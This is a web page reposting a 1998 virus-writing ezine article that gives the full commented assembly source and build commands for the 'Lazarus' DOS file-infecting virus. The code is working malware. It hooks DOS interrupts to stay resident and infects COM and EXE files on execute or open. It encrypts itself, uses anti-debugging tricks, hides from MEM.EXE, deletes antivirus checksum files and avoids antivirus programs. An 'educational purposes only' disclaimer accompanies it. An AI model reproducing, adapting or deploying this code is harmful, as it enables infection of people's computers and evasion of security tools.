Copy Link
Add to Bookmark
Report

SLAM4.051: Lazarus by Shaitan/SLAM

eZine's profile picture
Published in 
Slam
 · 4 Mar 2022

;---------------------------------------------------------------------------- 
; LAZARUS.ASM - The LaZaRuS Virus (C)opyright 1998 The Shaitan/SLAM
;
; [Features]:
; * Memory Stealth : Invisible to MEM.EXE & no memory decrease.
; * COM/EXE Infection : Infect on execute & open (fast infector).
; * Self-Encryption : Uses variable encryption.
; * Anti-Debugging : Armoured decryption routine.
; * Anti-Anti-Virus : Deletes checksum files.
;
; To compile, use:
; TASM /m2 lazarus.asm
; TLINK /t lazarus.obj
;
; THIS PROGRAM IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE
; HELD LIABLE FOR MISUSE OF THE SAME.
;
;----------------------------------------------------------------------------

.model tiny
JUMPS ; TASM only

_TEXT segment word public 'CODE'
org 100h ; All COM files start here...
virus_start:
push ds ; Save DS *Important*

push cs ; Set DS to CS
pop ds ;

call next_line ; Get an IP pointer
next_line: ; using the usual trick!
pop si ;
sub si,offset next_line ;

mov dx,offset new3 ; Set Int 3h *Anti-Debug*
add dx,si ;
mov ax,2503h ;
int 21h ;

decrypt:
push cs ; Set ES:DI to start of
pop es ; encrypted viral code

; MOV DI,xxxx patch
mov_di: ; This becomes:
db 0BFh ; mov di,xxxxh
patch_di: ;
dw offset encrypt_begin ;

mov cx,encrypt_end-encrypt_begin ; How many bytes to decrypt?

decrypt_loop:
int 3h ; Decrypt (Heh,Heh) *Anti-Debug*
inc di ; Next byte
loop decrypt_loop ; Loop till done

jmp encrypt_begin ; Jump to start of virus

new3:
xor_esdi: ; This becomes:
db 26h,80h,35h ; xor byte ptr es:[di],xxh
patch_key: ;
db 00 ; Encryption key

iret ; Int return

encrypt_begin:
mov ax,0D123h ; Are we resident already?
int 21h ; Call DOS
cmp ax,0123Dh ; Check return value
je restore_file ; Yeah. Don't go TSR again!

push si ; Save SI

call get_last_mcb ; MCB in ES:BP

call shrink_last_mcb ; Decrease memory by 6K

add ax,word ptr es:[bp+3] ; Calculate our location in
inc ax ; memory

copy_virus_to_memory:
mov es,ax ; Set ES:DI to virus
mov di,100h ; memory location

push cs ; Set DS:SI to virus source
pop ds ; location
pop si ; Restore SI

push si ; Save it again

add si,100h ; Adjust in file

mov cx,virus_end-virus_start; Size of virus
cld ; Copy upwards into memory

rep movsb ; Copy to memory !!!

get_vectors:
push es ; Set DS to ES
pop ds ; " " "

mov ax,3521h ; Get vector for Int 21h
int 21h ; Call DOS
mov word ptr ds:[old21],bx ; Save
mov word ptr ds:[old21+2],es; Save

set_vectors:
mov ax,2521h ; Set Vector for Int 21h
mov dx,offset new21 ; Set DS:DX to new handler
int 21h ; Call DOS

pop si ; Restore SI

restore_file:

push cs ; Display the message
pop ds

infect_format_com:
dos_format:
mov dx,offset dos_format_com; Try to infect DOS FORMAT.COM
add dx,si ; Adjust
mov ax,3d00h ; Open (also infect)
int 21h ; Call DOS
jnc format_end ; Success!

win_format:
mov dx,offset win_format_com; Try to infect Win 95 FORMAT.COM
add dx,si ; Adjust
mov ax,3d00h ; Open (also infect)
int 21h ; Call DOS
jnc format_end ; Success!

w95_format:
mov dx,offset w95_format_com; Try to infect Win 95 FORMAT.COM
add dx,si ; Adjust
mov ax,3d00h ; Open (also infect)
int 21h ; Call DOS
jc anti_chksum ; Failed!

format_end:
xchg ax,bx ; Handle in BX
mov ah,3eh ; Close file
int 21h ; Call DOS

anti_chksum:
mov dx,offset antivir_dat ; Delete ANTI-VIR.DAT
add dx,si ; Adjust
call killfile ; Delete it!

mov dx,offset chklist_cps ; Delete CHKLIST.CPS
add dx,si ; Adjust
call killfile ; Delete it!

mov dx,offset chklist_ms ; Delete CHKLIST.MS
add dx,si ; Adjust
call killfile ; Delete it!

; Don't forget to restore the saved DS !!!
pop ds ; Get back DS * Important *

cmp byte ptr cs:[file_type+si],'O' ; Is this Generation-1?
je quit

cmp byte ptr cs:[file_type+si],'C' ; Which filetype COM/EXE?
je restore_com

restore_exe:
mov ax,ds ; Get DS in AX
add ax,10h ; Add 10h
add ax,word ptr cs:[ori_ss+si] ; Set SS

cli ; Restore SS:SP
mov ss,ax ;
mov sp,word ptr cs:[ori_sp+si]
sti ;

mov ax,ds ; Restore CS:IP
add ax,10h ;
add word ptr cs:[ori_cs+si],ax

sub ax,10h ;
mov es,ax ;

xor ax,ax ; Restore all registers
xor bx,bx ;
xor cx,cx ;
xor dx,dx ;
xor si,si ;
xor di,di ;
xor bp,bp ;

The_BigJump:
farjmp_code db 0EAh ; JMP xxxx:xxxx
ori_ip dw ? ; Original IP
ori_cs dw ? ; Original CS

ori_ss dw ? ; Original SS
ori_sp dw ? ; Original SP

restore_com:
push cs ; Set ES
pop es ;

push cs ; Set DS
pop ds ;

add si,offset ori_bytes ; Restore first 5 bytes
mov di,100h ; in the COM file
mov cx,5 ;
cld ;
rep movsb ;

xor bx,bx ; Restore registers
xor cx,cx ;
xor dx,dx ;
xor bp,bp ;
xor di,di ;
xor si,si ;

mov ax,100h ; A clever way to
push ax ; JMP 100h
xor ax,ax ;
ret ;

quit:
mov ax,4c00h ; DOS Exit Call
int 21h ; Call DOS

;- INTERRUPT VECTORS --------------------------------------------------------

;- INT 21h HANDLER ----------------------------------------------------------
new21: ; DOS Services Interrupt
function_check:
cmp ax,0D123h ; Is it our residency check call?
jne check_rest ; Nope. Check for other calls
mov ax,0123Dh ; Set expected value in AX
iret ; Return

check_rest:
save_regs: ; Save registers before infecting
push ax ;
push bx ;
push cx ;
push dx ;
push di ;
push si ;
push bp ;
push ds ;
push es ;
pushf ;

check_exec:
cmp ah,4bh ; DOS EXEC Call?
jne check_exit ; No. Check exit call...

call chk_badfilename ; Check for bad files
cmp ax,1 ; Bad?
je restore_regs ; Yeah. Don't Infect...

cmp ax,'M' ; MEM.EXE?
jne do_infect ; No. Jump...

mov byte ptr cs:[in_mem],1 ; Mark as MEM running
call get_last_mcb ; Get 'Z' block
call expand_last_mcb ; Give back mem blocks
jmp do_infect ; Now infect MEM.EXE

check_exit:
cmp ah,4ch ; EXIT Call?
jne check_normal_open ; No. Jump...

cmp byte ptr cs:[in_mem],1 ; MEM is running?
jne restore_regs ; No.Jump...

mov byte ptr cs:[in_mem],0 ; MEM.EXE not running anymore...
call get_last_mcb ; Get 'Z' block...
call shrink_last_mcb ; Decrease MCB block
jmp restore_regs

check_normal_open:
cmp ah,3dh ; DOS NORMAL Open Call?
jne check_extended_open ; No. Jump...

call chk_badfilename ; Check if we can infect this file?
cmp ax,1 ; Not ok to infect?
je restore_regs ; Yes. Cannot infect :(

call chk_extension ; Is this .COM/.EXE?
cmp ax,0 ; " " "
je restore_regs ; No. Jump...

jmp do_infect ; Yes. Infect!

check_extended_open:
cmp ah,6ch ; DOS EXTENDED Open?
jne restore_regs ; No. Jump...

mov dx,si ; DS:SI -> DS:DX -> Filename

call chk_badfilename ; Check if we can infect this file?
cmp ax,1 ; Not ok to infect?
je restore_regs ; Yes. Cannot infect :(

call chk_extension ; Is this .COM/.EXE?
cmp ax,0 ; " " "
je restore_regs ; No. Jump...

jmp do_infect ; Yes. Infect...

do_infect:
call infect ; Call infection routine

restore_regs: ; Restore Registers after infecting
popf ;
pop es ;
pop ds ;
pop bp ;
pop si ;
pop di ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;

do_old21:
jmp dword ptr cs:old21 ; Jump to original handler

;----------------------------------------------------------------------------
;- INFECTION ROUTINE --------------------------------------------------------
infect:

call chk_badfilename ; Check for files we musn't infect
cmp ax,1 ; Is it a bad one?
je infect_end ; Yeah. Don't infect...

mov ax,4300h ; Get file attributes
int 21h ; Call DOS
mov word ptr cs:[ori_attrib],cx ; Save attributes
jc infect_end ; Error !!!

mov ax,4301h ; Set file attributes
xor cx,cx ; Remove all attributes
int 21h ; Call DOS
jc infect_end ; Error !!!

push ds ; Save filename (DS:DX)
push dx ;

start_infect:
mov ax,3d02h ; Open file for reading/write
call olddos ; Call DOS
jc restore_attrib ; Error !!!
xchg ax,bx ; BX = Handle

save_date:
mov ax,5700h ; Get File Date/Time
int 21h ; Call DOS
mov word ptr cs:[ori_date],dx ; Save Date
mov word ptr cs:[ori_time],cx ; Save Time

read_header:
mov ah,3fh ; Read File
mov cx,exe_header_end - exe_header_start
push cs ; Set DS To CS
pop ds
mov dx,offset exe_header_start
int 21h ; Call DOS
jc restore_date ; Error !!!

check_exe:
cmp word ptr cs:[exe_magic],'ZM' ; Is it 'MZ'?
je check_infect ; Yes. Jump...
cmp word ptr cs:[exe_magic],'MZ' ; Is it 'ZM'?
jne iscom ; No. Must be a COM file

check_infect:
cmp word ptr cs:[checksum],'LZ' ; LaZaRuS!
je restore_date ; Infected already...

save_original_values:
mov ax,word ptr cs:[cs_loc] ; Original CS
mov word ptr cs:[ori_cs],ax

mov ax,word ptr cs:[ip_loc] ; Original IP
mov word ptr cs:[ori_ip],ax

mov ax,word ptr cs:[ss_loc] ; Original SS
mov word ptr cs:[ori_ss],ax

mov ax,word ptr cs:[sp_loc] ; Original SP
mov word ptr cs:[ori_sp],ax

is_exe:
call goto_eof ; Goto EOF

push dx ; Save DX:AX
push ax ;

; Here we check if the file contains overlays (or is a Windows EXE)

calculate_realfilesize:
mov cx,512 ; Divide DX:AX by 512
div cx ; Divide

cmp dx,0 ; Is it exactly divisible?
je no_rounding ; Yes. Do not adjust...

inc ax ; Adjust...
no_rounding:
cmp ax,word ptr cs:[pages] ; Check if reported pages are correct
je chk_lastpage
pop ax ; Pop off the stack
pop dx ; " " "
jmp restore_date ; Do not infect this file
chk_lastpage:
cmp dx,word ptr cs:[last_page] ; Verify bytes on last page
pop ax ; Pop off the stack
pop dx ; " " "
jne restore_date ; Do not infect

push dx ; Save filesize
push ax ;

calculate:
mov ax,word ptr cs:[header_size] ; Size of header in paras
mov cx,16 ; Multiply by 16
mul cx ; DX:AX - Result
mov cx,ax ; Save result in AX

pop ax
pop dx

sub ax,cx ; Subtract size of header
sbb dx,0 ; Subtract with borrow

mov cx,16 ; Now we divide DX:AX by 16
div cx ; Divide...

mov word ptr cs:[cs_loc],ax ; New CS
mov word ptr cs:[ip_loc],dx ; New IP

; * IMPORTANT *
sub dx,100h ; Patched offset
add dx,offset encrypt_begin ; MOV DI patch
mov word ptr cs:[patch_di],dx ; Save patched "mov di,xxxx"

mov word ptr cs:[ss_loc],ax ; Save new SS
mov word ptr cs:[sp_loc],0fffeh ; Save new SP

set_file_type:
mov byte ptr cs:[file_type],'E' ; Set as infected 'E'xe

set_infected:
mov word ptr cs:[checksum],'LZ' ; Mark as infected

append_exe:
call append_virus ; Append virus to file

get_new_filesize:
call goto_eof ; Goto EOF

calculate_pages:
mov cx,512 ; Divide DX:AX by 512
div cx ; Divide

cmp dx,0 ; Is it exactly divisible?
je set_pages ; Yes. Do not adjust...

inc ax ; Adjust...

set_pages:
mov word ptr cs:[last_page],dx ; Bytes on last page
mov word ptr cs:[pages],ax ; Number of pages

call goto_bof ; Goto BOF

write_header:
mov ah,40h ; Write to file
mov dx,offset exe_header_start ; DS:DX - Exe Header
mov cx,exe_header_end - exe_header_start
int 21h ; Write new header

jmp restore_date ; EXE Infection over!

iscom:
call goto_bof ; Goto BOF

mov ah,3fh ; Save the original bytes
mov dx,offset ori_bytes ;
mov cx,5 ;
int 21h ;

cmp word ptr cs:[ori_bytes+3],'LZ'
je restore_date

goto_comend:
call goto_eof ; Goto EOF

cmp ax,65535-(virus_end-virus_start); COM file musn't exceed 64K
ja restore_date ; Do not infect this file!

; * IMPORTANT *
add ax,offset encrypt_begin ;
mov word ptr cs:[patch_di],ax ; Patch "mov di,xxxx"
sub ax,offset encrypt_begin ;

sub ax,3 ; Calculate dispalcement
mov word ptr cs:[new_bytes+1],ax ; Save

set_comfiletype:
mov byte ptr cs:[file_type],'C' ; This is a Com file...

append_com:
call append_virus ; Append the virus to the file

write_newcomhdr: ;
call goto_bof ; Goto BOF

mov ah,40h ; Write the new JMP xxxx instruction
mov cx,5 ;
mov dx,offset new_bytes ;
int 21h

restore_date:
mov ax,5701h ; Set File Date/Time
mov dx,word ptr cs:[ori_date] ; Set Date
mov cx,word ptr cs:[ori_time] ; Set Time
int 21h ; Call DOS

mov ah,3eh ; Close File
int 21h ; Call DOS

restore_attrib: ; Restore file attributes/date

pop dx ; Get back filename in DS:DX
pop ds ;

mov ax,4301h ; Set file attrib
mov cx,word ptr cs:[ori_attrib] ; Restore
int 21h ; Call DOS

infect_end:
ret ; Return

;----------------------------------------------------------------------------

;- GENERAL PURPOSE FUNCTIONS ------------------------------------------------
get_last_mcb:
mov ah,52h ; DOS Undocumented Function
int 21h ; to Get List Of Lists...

sub bx,2 ; ES:BX - Pointer to 1st MCB segment
xchg bx,bp ; Now, ES:BP points to 1st MCB segment
mov ax,word ptr es:[bp] ; Get MCB segment
MCB_loop:
mov es,ax ; ES is 1st MCB segment now
xor bp,bp ; BP = 0
cmp byte ptr es:[bp],'Z' ; Last MCB block?
je last_block ; Yes! Jump...
add ax,word ptr es:[bp+3] ; No... Get next MCB segment
inc ax ; Add one segment goes for MCB header
jmp MCB_loop ; Loop till last block found

last_block:
ret

;----------------------------------------------------------------------------
shrink_last_mcb:
sub word ptr es:[bp+3h],256 ; Decrease memory by 4k
sub word ptr es:[bp+12h],256; " " " "
ret

;----------------------------------------------------------------------------
expand_last_mcb:
add word ptr es:[bp+3h],256 ; Decrease memory by 4k
add word ptr es:[bp+12h],256; " " " "
ret

;----------------------------------------------------------------------------
chk_badfilename: ; Check for files we musn't infect
push ds ; Save filename
push dx ;

mov cx,128 ; Max length of filename
push ds ; ES:DI - Filename
pop es ;
mov di,dx ;
mov al,0 ; Look for the end of filename
cld ; Direction = UP
repne scasb ; Search now!

chkcommmand:
cmp word ptr es:[di-12],'OC'; 'CO'
jne chkwin ; No. Jump...
cmp word ptr es:[di-10],'MM'; 'MM'
je bad_filename ; Yes. Jump

chkwin:
cmp word ptr es:[di-8],'IW' ; 'WI'
jne chkfprot ; No. Jump...
cmp word ptr es:[di-6],'.N' ; 'N.'
je bad_filename ; Yes. Jump

chkfprot:
cmp word ptr es:[di-11],'-F'; 'F-'
jne chkvirstop ; No. Jump...
cmp word ptr es:[di-9],'RP' ; 'PR'
je bad_filename ; No. Jump

chkvirstop:
cmp word ptr es:[di-12],'IV'; 'VI'
jne chktbav ; No. Jump...
cmp word ptr es:[di-10],'SR'; 'RS'
je bad_filename ; No. Jump

chktbav:
cmp word ptr es:[di-9],'BT' ; 'TB'
jne chkscan ; No. Jump...
cmp word ptr es:[di-7],'VA' ; 'AV'
je bad_filename ; No. Jump

chkscan:
cmp word ptr es:[di-9],'CS' ; 'SC'
jne chkmsav ; No. Jump...
cmp word ptr es:[di-7],'NA' ; 'AN'
je bad_filename ; No. Jump

chkmsav:
cmp word ptr es:[di-9],'SM' ; 'MS'
jne chkcpav ; No. Jump...
cmp word ptr es:[di-7],'VA' ; 'AV'
je bad_filename ; No. Jump

chkcpav:
cmp word ptr es:[di-9],'PC' ; 'CP'
jne chkclean ; No. Jump...
cmp word ptr es:[di-7],'VA' ; 'AV'
je bad_filename ; No. Jump

chkclean:
cmp word ptr es:[di-10],'LC'; 'CL'
jne chkmem ; No. Jump...
cmp word ptr es:[di-8],'AE' ; 'EA'
je bad_filename ; No. Jump

chkmem:
cmp word ptr es:[di-8],'EM'; 'ME'
jne unknown_file ; No. Jump...
cmp word ptr es:[di-6],'.M' ; 'M.'
jne unknown_file ; No. Jump

; We found MEM.EXE
mov ax,'M' ; Mark as MEM!
pop dx ; " " "
pop ds ; " " "
ret ; Return

bad_filename:
mov ax,1 ; Mark as BAD!
pop dx ; " " "
pop ds ; " " "
ret ; Return

unknown_file:
mov ax,0 ; Mark as OK!
pop dx ; Restore filename
pop ds ;
ret ; Return

;----------------------------------------------------------------------------
chk_extension:
push ds ; Save filename
push dx ;

mov cx,128 ; Max length of filename
push ds ; ES:DI - Filename
pop es ;
mov di,dx ;
mov al,0 ; Look for the last byte in the filename
cld ; Direction = UP
repne scasb ; Search now!

chkcom:
cmp word ptr es:[di-5],'C.' ; .Cxx?
jne chkexe ; No. Jump...
cmp word ptr es:[di-3],'MO' ; .COM?
jne chkexe ; No. Jump

mov ax,1 ; Set expected value
jmp chkext_end ; Return

chkexe:
cmp word ptr es:[di-5],'E.' ; .Exx?
jne unknown_ext ; No. Jump...
cmp word ptr es:[di-3],'EX' ; .EXE?
jne unknown_ext ; No. Jump

mov ax,2 ; Set value for EXE
jmp chkext_end ; Return

unknown_ext:
mov ax,0 ; Unknown file return

chkext_end:
pop dx ; Restore filename
pop ds ;
ret ; Return

;---
olddos:
pushf ; Save flags
call dword ptr cs:[old21] ; Fake an INT
ret ; Return
;---
goto_bof:
mov ax,4200h ; Goto BOF
xor cx,cx ; CX:DX = Offset
xor dx,dx ; " " "
int 21h ; Call DOS
ret

;---
goto_eof:
mov ax,4202h ; Goto EOF
xor cx,cx ; CX:DX = Offset
xor dx,dx ; " " "
int 21h ; Call DOS
ret

;---
append_virus:
mov ah,2ch ; DOS Get Time function
int 21h ; Call DOS
add ch,cl ; Add up hour+min+sec+100th of sec
add ch,dh ; " " "
add ch,dl ; " " "
mov al,ch ; Da encryption key!

mov byte ptr cs:[patch_key],al ; Save the encryption key

push cs ; DS:SI - Start
pop ds ; ES:DI - Destination
push cs ;
pop es ;
mov si,100h ;
mov di,offset virus_end ;
mov cx,offset virus_end-virus_start ; No. of bytes
rep movsb ; Copy all bytes

encrypt:
mov di,offset virus_end ; ES:DI - Start of encryption
add di,offset encrypt_begin-100h ;
mov cx,encrypt_end-encrypt_begin ; How many bytes to encrypt?
encrypt_loop:
xor byte ptr es:[di],al ; Encrypt one byte at a time
inc di ; Next byte
loop encrypt_loop ; Loop till done

mov ah,40h ; Write to file
mov cx,virus_end-virus_start; No. of bytes
mov dx,offset virus_end ; DS:DX - Start of buffer
int 21h ; Call DOS and write
ret
;---
killfile:
mov ax,4301h ; Remove all attributes
xor cx,cx ; from the filename in DS:DX
int 21h ;

mov ah,41h ; Delete file
int 21h ; Call DOS

ret

;- VIRUS DATA ---------------------------------------------------------------
copyright db "The Lazarus Virus (c) '98 The Shaitan/SLAM"

old21 dd ? ; Old Int 21 Handler

; EXE Header of infected file will be stored here
exe_header:

exe_header_start:

exe_magic dw ? ; 'MZ' if EXE file
last_page dw ? ; Bytes on last page in file
pages dw ? ; Number of pages in file
relocation dw ? ; Number of relocations in file
header_size dw ? ; Size of EXE header
min_mem dw ? ; Minimum memory needed
max_mem dw ? ; Maximum memory needed
ss_loc dw ? ; SS location
sp_loc dw ? ; SP location
checksum dw ? ; Checksum (?)
ip_loc dw ? ; IP location
cs_loc dw ? ; CS location

exe_header_end:

; Original 5 bytes of a com file stored here
ori_bytes db 5 dup(0)

; New 5 bytes in COM file
new_bytes db 0E9h ; JMP opcode
dw ? ; Jump displacement
dw 'LZ' ; Marker bytes


ori_attrib dw ? ; Original Attributes
ori_date dw ? ; Original Date
ori_time dw ? ; Original Time

; File type: 'O'riginal/'C'om/'E'xe?
file_type db 'O' ; Generation-1 is 'O'

in_mem db 0 ; Is MEM.EXE running?

; Try to infect one of these files first:
dos_format_com db "C:\DOS\FORMAT.COM",0
win_format_com db "C:\WINDOWS\COMMAND\FORMAT.COM",0
w95_format_com db "C:\WIN95\COMMAND\FORMAT.COM",0

checksum_files:
antivir_dat db "ANTI-VIR.DAT",0
chklist_cps db "CHKLIST.CPS",0
chklist_ms db "CHKLIST.MS",0

encrypt_end:

virus_end:
_TEXT ends
end virus_start
;----------------------------------------------------------------------------

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT